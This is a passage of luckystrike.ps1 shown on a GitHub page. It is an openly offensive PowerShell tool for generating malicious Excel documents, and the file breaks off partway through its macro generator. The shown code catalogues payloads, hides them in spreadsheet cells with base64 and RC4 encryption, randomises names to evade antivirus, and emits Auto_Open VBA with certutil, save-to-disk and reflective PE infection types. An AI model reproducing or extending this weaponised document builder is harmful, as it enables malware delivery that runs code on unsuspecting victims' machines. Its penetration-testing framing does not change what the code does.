forked from curi0usJack/luckystrike
-
Notifications
You must be signed in to change notification settings - Fork 1
/
luckystrike.ps1
executable file
·2019 lines (1779 loc) · 464 KB
/
luckystrike.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#Requires -Version 5
<#
.SYNOPSIS
Luckystrike is a penetration testing tool used to create malicious Microsoft Office documents.
.DESCRIPTION
Luckystrike generates malicious MS Office documents (currently only .xls) using PowerShell's
ability to interface with Microsoft COM objects (such as Excel). A sqlite database powers
the backend and stores code blocks, payloads, dependency rules, and infection methods.
Luckystrike was designed with the following core principles:
1) Payloads must be completely stored in a database, providing a self-contained and persistent
way to retrieve and embed them into documents with ease.
2) Flexibity is key. The system must be able to connect any payload to any applicable infection method.
3) The database must be able to be shared amongst team members, ideally through a system like git.
4) In addition to creating new documents, the system must be able to modify existing documents (templates).
5) The system must be easy to use for non-scripters. Do not require a ton of arguments to be passed
for each action.
Terminology:
"Payload" A command, PowerShell script, or executable to be executed on the target machine.
"Catalog" A sqlite database containing saved payloads.
"Infection Type" The means by which to launch a payload on a target system.
"Template" An xls file that is saved in the database to be used for generating a new, infected file.
Quick Start Guide:
1) Run the install.ps1 script. This is required. It also must be run with administrator
rights (to install PSSQLite)
2) Prepare a payload (say a self contained PowerShell script) that you want to execute when the macro runs.
3) Run Luckystrike.ps1
4) Choose Catalog Options > Add a payload to the catalog
5) Back to main menu > Select Payloads > Select a Payload
6) Chose the payload you just created.
7) Select an infection type (Type "98" for help)
8) Back to main menu > File Options
9) Select Generate new xls
Restrictions/Prereqs:
- Luckystrike currently only makes .xls documents (97-2003 format).
- Luckystrike requires PowerShell v5.
- Luckystrike requires the PSSQLite module to be installed (install.ps1 handles this).
.PARAMETER Debug
Spits out all the information to the screen.
.PARAMETER API
Does not load menus. Allows for dot-sourcing of luckystrike and calling functions.
.NOTES
CURRENTVERSION: 1.1.7
Version History: 02/21/2017 1.1.7 Fixed major bug introduced by 1.1.6. AV evasions.
10/04/2016 1.1.6 Added auto-update functionality
09/29/2016 1.1.5 Accounted for additional registry key modification.
09/29/2016 1.1.4 Debug info added.
09/28/2016 1.1.3 Minor bug fixes.
09/27/2016 1.1.2 Updated startup to import modules.
09/26/2016 1.1.1 Minor bug fixes.
09/24/2016 1.1 Added support for putting templates in the database.
09/23/2016 1.0 Initial Release
Contributors: Steve McKenzie @jarsna12
Scot Berner @slobtresix0
Jason Lang @curi0usJack
Help Last Modified: 09/16/2016
#>
[CmdletBinding()]
Param
(
[switch] $API
)
$version = "1.1.7"
$requiredmodules = @('PSSQlite')
$dbpath = "$($PWD.Path)\ls.db"
$macroelements = $null
$exitnum = "99"
$githubver = "https://raw.githubusercontent.com/Shellntel/luckystrike/master/currentversion.txt"
$updatefile = "https://raw.githubusercontent.com/Shellntel/luckystrike/master/update.ps1"
# Maximum number of characters to pack into a cell. Tried 10000, but they were
# getting truncated in Excel 2010. 8200 is default & seems to work well.
$codeblockmax = 8200
# Menu Vars. Don't monkey with.
$currentmenu = $null
$previousmenus = New-Object System.Collections.ArrayList
$menus = @{}
# Determine if admin powershell process
$wid=[System.Security.Principal.WindowsIdentity]::GetCurrent()
$prp=new-object System.Security.Principal.WindowsPrincipal($wid)
$adm=[System.Security.Principal.WindowsBuiltInRole]::Administrator
$IsAdmin=$prp.IsInRole($adm)
function Write-Message {
Param
(
[string] $message,
[string] $type,
[bool] $prependNewLine
)
if ($prependNewline) { Write-Host "`n" }
switch ($type) {
"error" {
Write-Host "[!]" -ForegroundColor Red -NoNewline
Write-Host " - $message"
}
"warning" {
Write-Host "[!]" -ForegroundColor Yellow -NoNewline
Write-Host " - $message"
}
"debug" {
if ($PSCmdlet.MyInvocation.BoundParameters -ne $null -and $PSCmdlet.MyInvocation.BoundParameters['Debug'].IsPresent)
{
Write-Host "[DBG]" -ForegroundColor Magenta -NoNewline
Write-Host " - $message"
}
}
"success" {
Write-Host "[+]" -ForegroundColor Green -NoNewline
Write-Host " - $message"
}
"prereq" {
Write-Host "[+]" -ForegroundColor Cyan -NoNewline
Write-Host " - PREREQ CHECK: $message"; $message = "PREREQ CHECK: $message"}
default {Write-Host "[*] - $message"}
}
}
function Get-RandomAlphaNum($len)
{
$r = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
$tmp = foreach ($i in 1..[int]$len) {$r[(Get-Random -Minimum 1 -Maximum $r.Length)]}
return [string]::Join('', $tmp)
}
function Get-RandomAlpha($len)
{
$r = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
$tmp = foreach ($i in 1..[int]$len) {$r[(Get-Random -Minimum 1 -Maximum $r.Length)]}
return [string]::Join('', $tmp)
}
function Get-NumBlocks($text)
{
return [int][Math]::Ceiling($text.Length / $codeblockmax)
}
function Write-DebugInfo ($payload, $infectiontype, $active)
{
if ($payload -ne $null)
{
Write-Message "[PAYLOAD] ID:`t`t`t$($payload.ID)" "debug"
Write-Message "[PAYLOAD] Name:`t`t`t$($payload.Name)" "debug"
Write-Message "[PAYLOAD] Type:`t`t`t$($payload.PayloadType)" "debug"
Write-Message "[PAYLOAD] NumBlocks:`t`t$($payload.NumBlocks)" "debug"
Write-Message "[PAYLOAD] PayloadLength:`t$($payload.PayloadText.Length)" "debug"
}
if ($infectiontype -ne $null)
{
Write-Message "[INFTYPE] ID:`t`t`t$($infectiontype.ID)" "debug"
Write-Message "[INFTYPE] Name:`t`t`t$($infectiontype.Name)" "debug"
}
if ($active -ne $null)
{
Write-Message "[ACTIVE] Legend String:`t`t$($i.LegendString)" "debug"
Write-Message "[ACTIVE] Payload ID:`t`t$($i.PayloadID)" "debug"
Write-Message "[ACTIVE] InfectionType:`t`t$($i.InfectionType)" "debug"
Write-Message "[ACTIVE] IsEncrypted:`t`t$($i.IsEncrypted)" "debug"
Write-Message "[ACTIVE] EncLength:`t`t$($i.EncryptedText.Length)" "debug"
}
}
#region Catalog Methods
function Invoke-DBQuery($query, $params)
{
$dbConnection = New-SQLiteConnection -DataSource $dbpath
try
{
if ($params -eq $null)
{
$tmpoutput = Invoke-SqliteQuery -SQLiteConnection $dbConnection -Query $query
}
else
{
$tmpoutput = Invoke-SqliteQuery -SQLiteConnection $dbConnection -Query $query -SqlParameters $params
$tmpparams = foreach ($i in $params.Keys) {"$i`:$($params[$i])"}
$outparams = [string]::Join(' ', $tmpparams)
}
$count = 1
$tmpoutput = $tmpoutput | %{$_ | Add-Member -type Noteproperty -name "ListID" -Value $count;$count++;$_}
Write-Message "Executed Query: $query. Params: $outparams" "debug"
return $tmpoutput
}
catch [System.Exception]
{
$err = $_.Exception.Message
Write-Message "Error occurred executing query: $query. Error: $err" "error"
}
finally
{
$dbConnection.Dispose()
}
}
function Get-AllPayloads()
{
return Invoke-DBQuery "
SELECT p.ID AS ID,
p.Name AS Name,
p.Description AS Description,
pt.Name AS PayloadType,
p.TargetIP AS TargetIP,
p.TargetPort AS TargetPort
FROM Payloads p, PayloadTypes pt
WHERE p.PayloadType = pt.ID"
}
function Get-PayloadByID($id)
{
$params = @{"id" = $id}
return Invoke-DBQuery "SELECT * FROM Payloads WHERE ID = @id" $params
}
function Get-PayloadByTitle($title)
{
$params = @{"Title" = $title}
return Invoke-DBQuery "SELECT * FROM Payloads WHERE NAME = @Title" $params
}
function Get-PayloadTypes()
{
return Invoke-DBQuery "SELECT * FROM PayloadTypes"
}
function Get-SelectedPayloads()
{
return Invoke-DBQuery "SELECT * FROM Payloads WHERE ID IN (SELECT PayloadID FROM ActiveWorking)"
}
function Get-AvailablePayloads()
{
return Invoke-DBQuery "SELECT * FROM Payloads WHERE ID NOT IN (SELECT PayloadID FROM ActiveWorking)"
}
function Get-CodeBlockByName ($name)
{
$params = @{"name" = $name}
return Invoke-DBQuery "SELECT * FROM CodeBlocks WHERE Name = @name" $params
}
function Get-CodeBlock ($name, $type)
{
$params = @{"name" = $name; "type" = $type}
return Invoke-DBQuery "SELECT * FROM CodeBlocks WHERE Name = @name AND BlockType = @type" $params
}
function Get-InfectionTypeCodeDependencies ($infectiontypeid)
{
$params = @{"id" = $infectiontypeid}
return Invoke-DBQuery "
SELECT cb.*
FROM InfectionType_Dependencies itd, CodeBlocks cb
WHERE itd.CodeBlockID = cb.ID
AND itd.CodeBlockID = @id" $params
}
function Get-InfectionTypeByID ($id)
{
$params = @{"id" = $id}
return Invoke-DBQuery "SELECT * FROM InfectionTypes WHERE ID = @id" $params
}
function Get-PayloadTypeInfectionTypes($payloadtypeid)
{
$params = @{"ptid" = [int]$payloadtypeid}
return Invoke-DBQuery "
SELECT DISTINCT it.ID, it.Name, it.Description
FROM InfectionTypes it, PayloadTypes pt, Payloads p, Assoc_Infection_Payload aip
WHERE it.ID = aip.InfectionType
AND aip.PayloadType = pt.ID
AND pt.ID = @ptid" $params
}
function Get-ActiveWorking()
{
return Invoke-DBQuery "SELECT * FROM ActiveWorking"
}
function Get-ActiveWorkingByPayloadID($id)
{
$params = @{"pid" = [int]$id}
return Invoke-DBQuery "SELECT * FROM ActiveWorking WHERE PayloadID = @pid" $params
}
function Clear-ActiveWorking
{
return Invoke-DBQuery "DELETE FROM ActiveWorking"
}
function Add-ActiveWorking($payloadid, $infectionid, $numblocks, $encryptedpayload, $customstrings)
{
# Forming the legend string in this way could technically cause an overwrite of payload data, but it's highly unlikely given the entropy excel provides
# Min/Max values here: https://support.office.com/en-gb/article/Excel-specifications-and-limits-1672b34d-7043-467e-8e27-269d656771c3#bmworksheetworkbook
$startcolumn = Get-Random -Minimum 150 -Maximum 250 #Excel 2010 column max 16,384
$startrow = Get-Random -Minimum 100 -Maximum 5000 #Excel 2010 row max 1,048,576
$paramstest = @{"pid" = [int]$payloadid; "itid" = [int]$infectionid}
$results = Invoke-DBQuery "SELECT COUNT(*) As NumRows FROM ActiveWorking WHERE PayloadID = @pid AND InfectionType = @itid" $paramstest
$count = [int]$results.NumRows
Write-Message "Duplicate Active Check Count: $count" "debug"
if ($count -gt 0)
{
Write-Message "Hrm... Adding the same payload with the same infection type again? Ok, but I'm not sure what's going to hap... * DISCONNECTED" "warning" $true
}
if ($encryptedpayload -ne $null)
{
$isencrypted = 1
$numblocks = Get-NumBlocks $encryptedpayload
}
else
{
$isencrypted = 0
}
$legend = "$startcolumn,$startrow,$numblocks"
$params = @{"pid" = [int]$payloadid; "itid" = [int]$infectionid; "legend" = $legend; "isencrypted" = $isencrypted; "encpayload" = $encryptedpayload; "strings" = $customstrings}
return Invoke-DBQuery "INSERT INTO ActiveWorking (PayloadID, InfectionType, LegendString, IsEncrypted, EncryptedText, CustomStrings) VALUES (@pid, @itid, @legend, @isencrypted, @encpayload, @strings)" $params
}
function Remove-ActiveWorking ($payloadid)
{
$params = @{"pid" = [int]$payloadid}
return Invoke-DBQuery "DELETE FROM ActiveWorking WHERE PayloadID = @pid" $params
}
function Get-ActiveDependencies()
{
return Invoke-DBQuery "
SELECT * FROM CodeBlocks WHERE ID IN (
SELECT CodeBlockID FROM InfectionType_Dependencies WHERE InfectionType IN (
SELECT DISTINCT(InfectionType) FROM ActiveWorking));"
}
function Add-Template($name, $doctype, $templatetext)
{
$params = @{'name' = $name; 'doctype' = $doctype; 'text' = $templatetext}
return Invoke-DBQuery "INSERT INTO Templates (NAME, DOCTYPE, TEMPLATETEXT) VALUES (@name, @doctype, @text)" $params
}
function Remove-Template($id)
{
$params = @{'id' = $id}
return Invoke-DBQuery "DELETE FROM Templates WHERE ID = @id" $params
}
function Get-TemplateByID($id)
{
$params = @{'id' = $id}
return Invoke-DBQuery "SELECT * FROM Templates WHERE ID = @id" $params
}
function Get-AllTemplates()
{
return Invoke-DBQuery "SELECT * From Templates"
}
function Init-DB()
{
Invoke-DBQuery "DELETE FROM ActiveWorking"
}
function Get-ValidEXE($strpath)
{
if ($strpath -eq $null)
{
$path = Read-Host -Prompt "Enter path to .exe file"
}
else
{
$path = $strpath
}
if ((Test-Path $path) -eq $false)
{
Write-Message "Could not find .exe at path $path. Try again." "warning"
Get-ValidEXE
}
if ([System.IO.Path]::GetExtension($path) -ne ".exe")
{
Write-Message "Please enter path to a valid .exe file." "warning"
Get-ValidEXE
}
return $path
}
function Create-DBPayload($title=$null, $destIP=$null, $destPort=$null, $description=$null, [int]$payloadtype=-1, $payloadtext=$null, $path=$null)
{
if ($title -eq $null)
{
$title = Read-Host -Prompt "`nTitle"
}
while ($title.Length -eq 0)
{
$title = Read-Host -Prompt "Gotta have one. What do you want to call it? 'One', 'Two', even 'Threeve' would work..."
}
while ((Get-PayloadByTitle $title) -ne $null)
{
Write-Message "There is already a payload by that title. Try again." "warning"
$title = Read-Host -Prompt "Title"
}
$payloadtypes = Get-PayloadTypes
if ($destIP -eq $null) { $destIP = Read-Host -Prompt "Target IP [Optional]" }
if ($destPort -eq $null) { $destPort = Read-Host -Prompt "Target Port [Optional]" }
if ($description -eq $null) { $description = Read-Host -Prompt "Description (e.g. empire, windows/meterpreter/reverse_tcp, etc) [Optional]"}
if ($payloadtype -eq -1)
{
Write-Host "`nChoose payload type: "
foreach ($t in (Get-PayloadTypes))
{
Write-Host "`t$($t.ID)) $($t.Name)"
}
Do
{
$payloadtype = Read-Host -Prompt "Selection"
if ($payloadtype -eq 98)
{
$payloadtypes | fl
}
}
until ($payloadtype -as [int] -and ($payloadtype -ge 1 -or $payloadtype -le $payloadtypes.Count))
}
switch ($payloadtype)
{
1 { # Shell Command
if ($payloadtext -eq $null) { $payloadtext = Read-Host -Prompt "`nPayload Text (the actual command to run)" }
}
2 { # Powershell script
if ($path -eq $null) { $path = Read-Host -Prompt "`nEnter full path to .ps1 file" }
while ((Test-Path $path) -eq $false)
{
Write-Message "Couldn't locate file at $path. Try again." "warning"
$path = Read-Host -Prompt "Enter full path to .ps1 file"
}
$payloadtext = Get-Content $path -Raw
try
{
$s = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($payloadtext))
Write-Message "Base64 encoded file detected. Decoding and storing (luckystrike will encode as necessary)" "warning" -prependNewLine $true
$payloadtext = $s
}
catch [System.Exception]
{
# Payload is not base64 encoded. Proceed.
}
}
3 { # exe
$exepath = Get-ValidEXE $path
$bytes = [System.IO.File]::ReadAllBytes($exepath)
$payloadtext = [System.Convert]::ToBase64String($bytes)
}
}
# Get the number of 8200 character code blocks to use
$numblocks = Get-NumBlocks $payloadtext
$params = @{
"Title" = $title
"Description" = $description
"TargetIP" = $destIP
"TargetPort" = $destPort
"PayloadType" = $payloadtype
"PayloadText" = $payloadtext
"NumBlocks" = $numblocks
}
$query = "INSERT INTO Payloads (NAME, DESCRIPTION, TARGETIP, TARGETPORT, PAYLOADTYPE, PAYLOADTEXT, NUMBLOCKS)
VALUES (@Title, @Description, @TargetIP, @TargetPort, @PayloadType, @PayloadText, @NumBlocks)"
Invoke-DBQuery $query $params
Write-Message "Payload added." "success" $true
Load-Menu $script:currentmenu
}
function Remove-DBPayload()
{
$allpayloads = Get-AllPayloads
$allcount = [int]($allpayloads | measure).Count
if ($allcount -gt 0)
{
Write-Host "`n"
foreach ($p in $allpayloads)
{
Write-Host "`t$($p.ListID)) $($p.Name)"
}
Write-Host "`t$exitnum) Done."
Write-Host `n
Do
{
$selection = Read-Host -Prompt "Select"
}
until (($selection -ge 1 -and $selection -le $allcount)-or $selection -eq $exitnum)
if ($selection -eq $exitnum)
{
Load-Menu $script:currentmenu
}
else
{
$prid = ($allpayloads | ?{$_.ListID -eq [int]$selection}).ID
$query = "DELETE FROM PAYLOADS WHERE ID = @PayloadID"
$params = @{"PayloadID" = $prid}
Invoke-DBQuery $query $params
Write-Message "Payload removed." "success" $true
Load-Menu $script:currentmenu
}
}
else
{
Write-Message "No payloads were found in the database." "warning" $true
Load-Menu $script:currentmenu
}
}
function Show-PayloadDetails()
{
$all = Get-AllPayloads
if ($all -ne $null)
{
$all | ft -Property Name, TargetIP, TargetPort, PayloadType
}
else
{
Write-Message "No payloads were found in the catalog." $true
}
Load-Menu $script:currentmenu
}
function Create-DBTemplate($title=$null, $path=$null, $doctype=$null)
{
if ($title -eq $null)
{
$title = Read-Host -Prompt "`nTitle"
}
while ((Get-PayloadByTitle $title) -ne $null)
{
Write-Message "There is already a template by that title. Try again." "warning"
$title = Read-Host -Prompt "Title"
}
if ($path -eq $null)
{
$path = Read-Host -Prompt "Enter path to template file"
}
while (!(Test-Path $path))
{
Write-Message "Coult not find file at $path. Try again." "warning"
$path = Read-Host "Enter path to file"
}
$doctype = [IO.Path]::GetExtension($path)
while ($doctype -ne ".xls")
{
Write-Message "Only .xls templates are supported at this time. Sorry."
$path = Read-Host "Enter path to file"
$doctype = [IO.Path]::GetExtension($path)
}
$bytes = [System.IO.File]::ReadAllBytes($path)
$templatetext = [System.Convert]::ToBase64String($bytes)
Add-Template $title $doctype.Trim('.') $templatetext
Write-Message "Template added!" "success" $true
Load-Menu $script:currentmenu
}
function Remove-DBTemplate()
{
$templates = Get-AllTemplates
$tcount = [int]($templates | measure).Count
if ($tcount -gt 0)
{
Write-Host "`n"
foreach ($t in $templates)
{
Write-Host "`t$($t.ListID)) $($t.Name)"
}
Write-Host "`t$exitnum) Done."
Write-Host `n
Do
{
$selection = Read-Host -Prompt "Select"
}
until (($selection -ge 1 -and $selection -le $tcount) -or $selection -eq $exitnum)
if ($selection -eq $exitnum)
{
Load-Menu $script:currentmenu
}
else
{
$tid = ($templates | ?{$_.ListID -eq $selection}).ID
Remove-Template $tid
Write-Message "Template removed." "success" $true
Load-Menu $script:currentmenu
}
}
else
{
Write-Message "No templates were found in the catalog." "warning" $true
Load-Menu $script:currentmenu
}
}
function Show-TemplateDetails()
{
$templates = Get-AllTemplates
$tcount = [int]($templates | measure).Count
if ($tcount -gt 0)
{
$templates | select ID, Name, DocType | ft
}
else
{
Write-Message "No templates have been added to the catalog." -prependNewLine $true
}
Load-Menu $script:currentmenu
}
#endregion
#region File Methods
# Converts a base64 string to an array of "parts""
# that are capped by length for insterting into Excel
function Get-PayloadPartsArray($targetstring, $convertToB64, $maxlength)
{
# Convert to Base64 if necessary
if ($convertToB64)
{
$bytes = [System.Text.Encoding]::Unicode.GetBytes($targetstring)
$payloadtext = [System.Convert]::ToBase64String($bytes)
}
else
{
$payloadtext = $targetstring
}
if ($maxlength -eq $null)
{
$maxlength = $codeblockmax
}
$fileparts = @()
$done = $false
$payloadlength = $payloadtext.Length
if ($payloadlength -gt $maxlength)
{
$intStart = 0
$totalchars = 0
Do
{
$line = $payloadtext.Substring($intStart, $maxlength)
$totalchars += $line.Length
$fileparts += $line
if ($payloadlength -eq $totalchars)
{
$done = "true"
}
elseif (($totalchars + $maxlength) -gt $payloadlength)
{
$maxlength = $payloadlength - $totalchars
$intStart = $payloadlength - $maxlength
}
else
{
$intStart += $maxlength
}
}
Until ( $done -eq $true )
}
else
{
$fileparts += $payloadtext
}
return $fileparts
}
function Parse-Legend($legendstring)
{
$s = $legendstring.Split(',')
return New-Object -TypeName psobject -Prop @{
'StartColumn' = $s[0];
'StartRow' = $s[1];
'NumRows' = $s[2]
}
}
function Get-Harness($name, $functionname, $legend)
{
$cb = Get-CodeBlock $name "harness"
$harnesscode = $cb.BlockText
$l = Parse-Legend $legend
$harnesscode = $harnesscode | %{$_.Replace("|STARTROW|", $l.StartRow)}
# Account for the fact that Excel will always include the start row as part of the payload.
$harnesscode = $harnesscode | %{$_.Replace("|ENDROW|", ([int]$l.StartRow + [int]$l.NumRows - 1))}
$harnesscode = $harnesscode | %{$_.Replace("|COLUMN|", $l.StartColumn)}
$harnesscode = $harnesscode | %{$_.Replace("|RANDOMSTRING|", (Get-RandomAlphaNum 8))}
$harnesscode = $harnesscode | %{$_.Replace("|RANDOMNAME|", $functionname)}
return $harnesscode
}
# Infection Type 1
function Create-ShellCommand($harnasscode, $payload, $linelength)
{
$linestart = 0
$vbapayload = ""
$complete = "false"
$payloadlength = $payload.PayloadText.Length
$totalchars = 0
if ($linelength -eq $null)
{
$linelength = 380
}
if ($payloadlength -lt $linelength)
{
$vbapayload += "`"$($payload.PayloadText)`""
}
else
{
# This code is hideous and I can't believe it works. Do not change unless you like pain.
Do
{
$psline = $payload.PayloadText.Substring($linestart, $linelength)
$totalchars += $psline.Length
if ($payloadlength -eq $totalchars)
{
$vbapayload += "`t& `"$psline`"`n"
$complete = "true"
}
elseif (($totalchars + $linelength) -gt $payloadlength)
{
$vbapayload += "`t& `"$psline`" _`n"
$linelength = $payloadlength - $totalchars
$linestart = $payloadlength - $linelength
}
else
{
$vbapayload += "`t& `"$psline`" _`n"
$linestart += $linelength
}
}
Until ( $complete -eq "true" )
}
$vbapayload = $vbapayload.TrimStart("`t& ").TrimEnd("`n")
$harnasscode = $harnasscode | %{$_.Replace("|PAYLOADTEXT|", $vbapayload)}
return $harnasscode
}
# Thanks @harmj0y!
function ConvertTo-Rc4ByteStream {
<#
.SYNOPSIS
Converts an input byte array to a RC4 cipher stream using the specified key.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER InputObject
The input byte array to encrypt with the RC4 cipher.
.PARAMETER Key
The byte array of the RC4 key to use.
.EXAMPLE
$Enc = [System.Text.Encoding]::ASCII
$Data = $Enc.GetBytes('This is a test! This is only a test.')
$Key = $Enc.GetBytes('SECRET')
($Data | ConvertTo-Rc4ByteStream -Key $Key | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
.LINK
https://en.wikipedia.org/wiki/RC4
http://www.remkoweijnen.nl/blog/2013/04/05/rc4-encryption-in-powershell/
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[Byte[]]
$InputObject,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Key
)
begin {
# key-scheduling algorithm
[Byte[]] $S = 0..255
$J = 0
0..255 | ForEach-Object {
$J = ($J + $S[$_] + $Key[$_ % $Key.Length]) % 256
$S[$_], $S[$J] = $S[$J], $S[$_]
}
$I = $J = 0
}
process {
# pseudo-random generation algorithm (PRGA) combined with XOR logic
ForEach($Byte in $InputObject) {
$I = ($I + 1) % 256
$J = ($J + $S[$I]) % 256
$S[$I], $S[$J] = $S[$J], $S[$I]
$Byte -bxor $S[($S[$I] + $S[$J]) % 256]
}
}
}
function Crypt($in, $k)
{
# /me can't even.
#$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
$Enc = [System.Text.Encoding]::ASCII
$UEnc = [System.Text.Encoding]::UNICODE
$Data = $Enc.GetBytes($in)
$Key = $Enc.GetBytes($k)
($Data | ConvertTo-Rc4ByteStream -Key $Key | ForEach-Object { "{0:X2}" -f $_ }) -join ''
}
function Generate-Macro($insertautoopen, $linelength, $ismodify)
{
$alphabet = @(65..90 | foreach {[char]$_})
$functionnum = 0
$callstring = $null
$macrocode = $null
#$selectedpayloads = Get-SelectedPayloads
$active = Get-ActiveWorking
$acount = [int]($active | measure).Count
$script:macroelements = @{}
if ($linelength -eq $null)
{$linelength = 380}
if ($acount -eq 0)
{
Write-Message "You must first add a payload." "error"
Load-Menu $script:currentmenu
}
else
{
Write-Message "Generating macro code." -prependNewline $true
# Create the function & add to Auto_Open
$functionnames = @{}
foreach ($i in $active)
{
if ($i.PayloadID -ne 47734)
{
$let = Get-RandomAlpha 1
$rnd = Get-RandomAlphaNum 7
$name = "$let$rnd"
if ($ismodify)
{
$callstring += "`tCall LinesOfBusiness.$name`n"
}
else
{
$callstring += "`tCall $name`n"
}
$functionnames.Add($i.ID, $name)
}
}
$aostring = "Sub Auto_Open`n`n$callstring`nEnd Sub`n`n"
# Get all dependencies
$depends = Get-ActiveDependencies
# 1. Add declare dependencies
$depends | ?{$_.BlockType -eq "declare"} | %{$macrocode += $_.BlockText}
# 2. Generate Auto_Open
# 2.1 Auto_Open only needed if we don't only have infection type 9 (DDE)
if ($acount -eq 1 -and (($active | ?{$_.InfectionType -eq 9} | measure).Count -eq 1))
{
$insertautoopen = $false
}
# 2.2 Add Auto_Open
if ($insertautoopen)
{
$macrocode += $aostring
}
$script:macroelements.Add('autoopen', $aostring)
$script:macroelements.Add('autoopen-calls', $callstring)
# 3. Add util dependencies
$depends | ?{$_.BlockType -eq "util"} | %{$macrocode += $_.BlockText}
# 4. Add exec dependencies
$depends | ?{$_.BlockType -eq "exec"} | %{$macrocode += $_.BlockText}
# 5. Add the harnesses
$functionnum = 0
$count = 1
foreach ($i in $active)
{
$payload = Get-PayloadByID $i.PayloadID
if ($payload -ne $null)
{
$functionname = $functionnames.Item($i.ID)
switch ($i.InfectionType)
{
1 { # Shell-Command
$harness = Get-Harness "ShellCommand" $functionname $i.LegendString
$vbapayload = Create-ShellCommand $harness $payload
}
2 { # Cell embed
$vbapayload = Get-Harness "PSCellEmbed" $functionname $i.LegendString
}
3 { # Cell embed non-b64
$vbapayload = Get-Harness "PSCellEmbedNonb64" $functionname $i.LegendString
}
4 { # Cell embed encrypted
$vbapayload = Get-Harness "PSCellEmbedEncrypted" $functionname $i.LegendString
}
5 { # Certutil
$vbapayload = Get-Harness "CertUtil" $functionname $i.LegendString
}
6 { # Save to disk
$vbapayload = Get-Harness "SaveToDisk" $functionname $i.LegendString
}
7 { # ReflectivePE
$a = Get-ActiveWorkingByPayloadID 47734 #IRPEI Payload
$l = Parse-Legend $a.LegendString
Write-Message "IRPEI Legend String: $($a.LegendString)" "debug"
$vbapayload = Get-Harness "ReflectivePE" $functionname $i.LegendString
